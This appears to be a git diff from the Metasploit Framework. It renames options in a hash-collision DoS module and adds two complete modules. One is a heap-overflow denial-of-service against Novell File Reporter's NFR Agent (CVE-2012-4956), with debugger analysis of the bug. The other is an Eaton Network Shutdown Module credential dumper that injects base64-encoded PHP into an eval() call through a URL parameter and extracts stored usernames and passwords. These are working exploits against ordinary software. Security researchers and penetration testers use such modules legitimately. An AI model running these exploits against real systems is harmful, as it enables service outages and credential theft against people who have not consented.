OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
], self.class)
end
@ -77,12 +77,12 @@ class Metasploit3 < Msf::Auxiliary
collision_chars = compute_collision_chars
return nil if collision_chars == nil
length = datastore['payloadlength']
length = datastore['PayloadLength']
size = collision_chars.length
post = ""
max_value_float = size ** length
max_value_int = max_value_float.floor
print_status("Generating POST data...")
print_status("#{rhost}:#{rport} - Generating POST data...")
for i in 0.upto(max_value_int)
input_string = i.to_s(size)
result = input_string.rjust(length, "0")
@ -95,10 +95,10 @@ class Metasploit3 < Msf::Auxiliary
end
def compute_collision_chars
print_status("Trying to find hashes...") if @recursive_counter == 1
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
hashes = {}
counter = 0
length = datastore['collisioncharlength']
length = datastore['CollisionCharLength']
a = []
for i in @char_range
a << i.chr
@ -123,25 +123,25 @@ class Metasploit3 < Msf::Auxiliary
hashes[counter.to_s] = item
counter = counter + 1
end
if counter >= datastore['collisionchars']
if counter >= datastore['CollisionChars']
break
end
end
if counter < datastore['collisionchars']
if counter < datastore['CollisionChars']
# Try it again
if @recursive_counter > datastore['recursivemax']
print_error("Not enough values found. Please start this script again.")
if @recursive_counter > datastore['RecursiveMax']
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
return nil
end
print_status("#{@recursive_counter}: Not enough values found. Trying again...")
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
@recursive_counter = @recursive_counter + 1
hashes = compute_collision_chars
else
print_status("Found values:")
print_status("#{rhost}:#{rport} - Found values:")
hashes.each_value do |item|
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
item.each_char do |c|
print_status("\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
end
end
end
@ -174,32 +174,32 @@ class Metasploit3 < Msf::Auxiliary
when /PHP/
@function = method(:djbx33a)
@char_range = Range.new(0, 255)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 8
if (datastore['MaxPayloadSize'] <= 0)
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
end
when /Java/
@function = method(:djbx31a)
@char_range = Range.new(0, 128)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 2
if (datastore['MaxPayloadSize'] <= 0)
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
end
else
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
end
print_status("Generating payload...")
print_status("#{rhost}:#{rport} - Generating payload...")
payload = generate_payload
return if payload == nil
# trim to maximum payload size (in MB)
max_in_mb = datastore['maxpayloadsize']*1024*1024
max_in_mb = datastore['MaxPayloadSize']*1024*1024
payload = payload[0,max_in_mb]
# remove last invalid(cut off) parameter
position = payload.rindex("=&")
payload = payload[0,position+1]
print_status("Payload generated")
print_status("#{rhost}:#{rport} -Payload generated")
for x in 1..datastore['RLIMIT']
print_status("Sending request ##{x}...")
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => datastore['URL'],
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Auxiliary
c.send_request(r)
# Don't wait for a response, can take hours
rescue ::Rex::ConnectionError => exception
print_error("#{rhost}:#{rport} - unable to connect: '#{exception.message}'")
print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
return
ensure
disconnect(c) if c

View File

@ -0,0 +1,234 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'NFR Agent Heap Overflow Vulnerability',
'Description' => %q{
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
where NFRAgent.exe fails to generate a response in a secure way, copying user
controlled data into a fixed-length buffer in the heap without bounds checking.
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
},
'Author' => [ 'juan vazquez' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-4956' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'DisclosureDate' => 'Nov 16 2012'))
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run
record = "<RECORD>"
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
record << "</RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
begin
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message
})
rescue ::Errno::ECONNRESET
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
return
end
if res
print_error("#{peer} - NFR Agent didn't die, it still answers...")
return
end
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
end
end
=begin
* Static analysis
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
.text:00404BE9 add esp, 0Ch
.text:00404BEC push 14h ; length_arg_C
.text:00404BEE lea eax, [ebp+record_name_var_28]
.text:00404BF1 push eax ; result_arg_8
.text:00404BF2 push offset aName ; "NAME"
.text:00404BF7 mov ecx, [ebp+message_arg_8]
.text:00404BFA add ecx, 20h
.text:00404BFD push ecx ; xml_message_arg_0
.text:00404BFE mov ecx, [ebp+var_2C]
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06 movzx edx, al
.text:00404C09 test edx, edx
.text:00404C0B jz short loc_404C8B
.text:00404C0D push offset aSrs_2 ; "SRS"
.text:00404C12 lea eax, [ebp+record_name_var_28]
.text:00404C15 push eax ; char *
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B add esp, 8
.text:00404C1E test eax, eax
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22 mov ecx, [ebp+message_arg_8]
.text:00404C25 push ecx ; void *
.text:00404C26 mov edx, [ebp+arg_4]
.text:00404C29 push edx ; int
.text:00404C2A mov eax, [ebp+arg_0]
.text:00404C2D push eax ; int
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
2) In this function memory is allocated to store the response which will be build:
.text:00404903 push 0C350h ; size_t
.text:00404908 call _malloc
.text:0040490D add esp, 4
.text:00404910 mov [ebp+response_var_8], eax
0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c 0000c350
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x490d:
0040490d 83c404 add esp,4
0:007> !heap -p -a eax
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
3) The SRS record used in this module is handled by:
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
{
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
free(vol_name_html_encode_var_494);
vol_name_html_encode_var_494 = 0;
}
else
{ // If the volume name hasnt been HTML Encoded
v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
}
}
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
0:007> dd esp L1
0120eec8 0122013e
0:007> !heap -p -a 0122013e
address 0122013e found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> da poi(esp+4)
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060 "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208 "AAAAAAAAAA"
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
0:007> db 0122c460 L8
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
0:007> db 0122c468 L10
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
=end

View File

@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
end
if(not @banner)
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.to_s.unpack("H*")[0]} ")
return
end

View File

@ -0,0 +1,125 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper',
'Description' => %q{
This module will extract user credentials from Network Shutdown Module by exploiting
a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a
eval() call. Please note that in order to extract credentials,the vulnerable service
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
},
'References' =>
[
['OSVDB', '83199'],
['URL', 'http://secunia.com/advisories/49103/']
],
'Author' =>
[
'h0ng10',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Jun 26 2012"
))
register_options(
[
Opt::RPORT(4679)
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def execute_php_code(code, opts = {})
param_name = Rex::Text.rand_text_alpha(6)
padding = Rex::Text.rand_text_alpha(6)
php_code = Rex::Text.encode_base64(code)
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
res = send_request_cgi(
{
'uri' => '/view_list.php',
'method' => 'POST',
'vars_get' =>
{
'paneStatusListSortBy' => url_param,
},
'vars_post' =>
{
param_name => php_code,
},
'headers' =>
{
'Connection' => 'Close'
}
})
res
end
def read_credentials
pattern = Rex::Text.rand_text_numeric(10)
users_var = Rex::Text.rand_text_alpha(10)
user_var = Rex::Text.rand_text_alpha(10)
php = <<-EOT
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
foreach($#{users_var} as $#{user_var}) {
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
} die();
EOT
print_status("#{peer} - Reading user credentials from the database")
response = execute_php_code(php)
if not response or response.code != 200 then
print_error("#{peer} - Failed: Error requesting page")
return
end
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
return credentials
end
def run
credentials = read_credentials
if credentials.empty?
print_warning("#{peer} - No credentials collected.")
print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Network Shutdown Module Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password']
)
credentials.each do |record|
cred_table << [record[0], record[1]]
end
print_line
print_line(cred_table.to_s)
loot_name = "eaton.nsm.credentials"
loot_type = "text/csv"
loot_filename = "eaton_nsm_creds.csv"
loot_desc = "Eaton Network Shutdown Module Credentials"
p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
print_status("Credentials saved in: #{p.to_s}")
end
end

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
@calls = {}
print_status("Opening interface: #{datastore['INTERFACE']}")
print_status("Using band: #{datastore['band']}")
print_status("Using band: #{datastore['BAND']}")
open_coa

Some files were not shown because too many files have changed in this diff Show More